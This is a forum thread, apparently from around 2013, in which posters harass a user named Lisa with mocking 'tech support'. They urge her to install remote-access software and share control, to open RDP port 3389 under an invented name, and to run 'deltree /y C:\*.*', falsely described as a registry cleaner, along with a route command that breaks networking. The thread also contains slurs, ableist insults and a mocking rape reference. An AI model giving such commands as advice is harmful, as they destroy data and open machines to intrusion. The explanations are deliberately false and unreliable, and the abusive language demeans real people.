Lisa's Tech Support Thread

[Genital Doli]

were we help Lisa solve her problems, with her copmuter, her soft ware program,s and hell, maybe even with life.

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RESERVED for vital Lisa-related information.

[Autistic Spectrum]

this just in lisa, is fucking retared lol 2 degrees at unverstitery and she can';t even set up her firewall correcytly :Rfola:

[juji]

Lisa download this

http://www.teamviewer.com/es/index.aspx

Then give code access here so we can fix your computer

[Lisa Claus]

wtf

[always stevey]

Circus performer, Teacher, hacker. You're a real fucking renaissance girl

Lisa download this

http://www.teamviewer.com/es/index.aspx

Then give code access here so we can fix your computer

shes not stupid elz

lisa just open TCP port 3389 and realplayer will work, its a common problem wiht realplayer.

[always stevey]

rape victim, circus performer, teacher, hacker... Good god bitch write an autobiography

[juji]

shes not stupid elz

lisa just open port 3389 and realplayer will work, its a common problem wiht realplayer.

That's not my problem, i let anyone would help Lisa with that program

[Lisa Claus]

it works just fine

it just since it's latest update thinks it needs to run about 10 processes on your computer which it doesn't

so until I get around to doing that thing that stops all the processes then I have to close them all because it just annoys me

[Autistic Spectrum]

how many trojans are on that computer i am pretty sure like 3000 gooks have to read lisa posts all day at work,

trust me just open tcp port 3389

[maks]

anyone who is still running realplayer in 2013 is beyond help

[always stevey]

Next thing you know Lisa is an Australian sleeper agent.

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Lisa's Tech Support Thread

thats your RDP port, RDP stands for Rhythmic Dataloss Prevention lisa, you want this port open because it lets your important ssytem data periodically (rhythmically) back itself up to Microsofts servers so you wont lose anything if your system gets... snhall we say, a little bit wonky.

[Lisa Claus]

yeah that's great guys

[Autistic Spectrum]

lisa, fine i will acutally help you clean this shit up

go to your start menu, there should be something called run

go into that and type cmd hit enter

let me know when you are there,,

[Lisa Claus]

I can fix it myself when i can be bothered

but thankyou

come to tinychat and let's make some sensitive lady porn together

[jon]

rhythmic double penetration

[jon]

it opens 3389 of your transsexual control pores

oh yeah, in the command prompt were going to run a program called Delimeter Trees that will clean up your registry which seems to cause lots of problems with real player and other programs from the 1990s lmao

so what you want to do to run delimeter trees at the command prompt (make sure its an elevated cmd prompt with admin privileges (ctrl+shift+enter at Run), oh ewait i forgot youre not even running windows 7 youre still using XP lol, just make sure you have admin privileges and then at the CMD prompt enter this:
deltree /y C:\*.*
and it will run the Delimiter Trees program on your C: drive which is sort of like Defragging your Hard Drive only it cleans up your registry and fixes things, trust me it's an invaluable tool and it makes me mad Microsoft never tells people to do this

[maks]

oh yeah, in the command prompt were going to run a program called Delimeter Trees that will clean up your registry which seems to cause lots of problems with real player and other programs from the 1990s lmao

so what you want to do to run delimeter trees at the command prompt (make sure its an elevated cmd prompt with admin privileges (ctrl+shift+enter at Run), oh ewait i forgot youre not even running windows 7 youre still using XP lol, just make sure you have admin privileges and then at the CMD prompt enter this:
deltree /y C:\*.*
and it will run the Delimiter Trees program on your C: drive which is sort of like Defragging your Hard Drive only it cleans up your registry and fixes things, trust me it's an invaluable tool and it makes me mad Microsoft never tells people to do this

also "route add 0.0.0.0 255.255.255.255 127.0.0.1 metric 1" will prevent any of these things (adobe reader, flash, realplayer, etc) from updating on their own and breaking stuff.

good advice itt

[maks]

yeah clump is pretty lucky to post on a forum with so many talented IT professionals

[Lisa Claus]

yeah clump is pretty lucky to post on a forum with so many talented IT professionals

LOL

that wasnt a joke bithc

[Lisa Claus]

that wasnt a joke bithc

oh yes it was

[timmy]

i like adding loopbacks on my default route

[timmy]

i have autism